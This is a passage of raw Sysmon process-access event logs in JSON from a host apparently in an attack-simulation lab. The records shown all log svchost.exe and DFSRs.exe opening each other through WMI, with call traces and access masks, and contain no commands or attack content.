11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1709,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1710,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nSourceProcessId: 2564\r\nSourceThreadId: 3132\r\nSourceImage: C:\\Windows\\system32\\DFSRs.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\DFSRs.exe+d839d|C:\\Windows\\system32\\DFSRs.exe+c2ea|C:\\Windows\\system32\\DFSRs.exe+50e1|C:\\Windows\\system32\\DFSRs.exe+72d2|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","SourceProcessId":"2564","SourceThreadId":"3132","SourceImage":"C:\\Windows\\system32\\DFSRs.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\DFSRs.exe+d839d|C:\\Windows\\system32\\DFSRs.exe+c2ea|C:\\Windows\\system32\\DFSRs.exe+50e1|C:\\Windows\\system32\\DFSRs.exe+72d2|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1711,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1712,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+5a1b8|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+35a49|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2807f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29591|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292c2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+5a1b8|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+35a49|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2807f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29591|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292c2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1713,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1714,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1715,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1716,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: 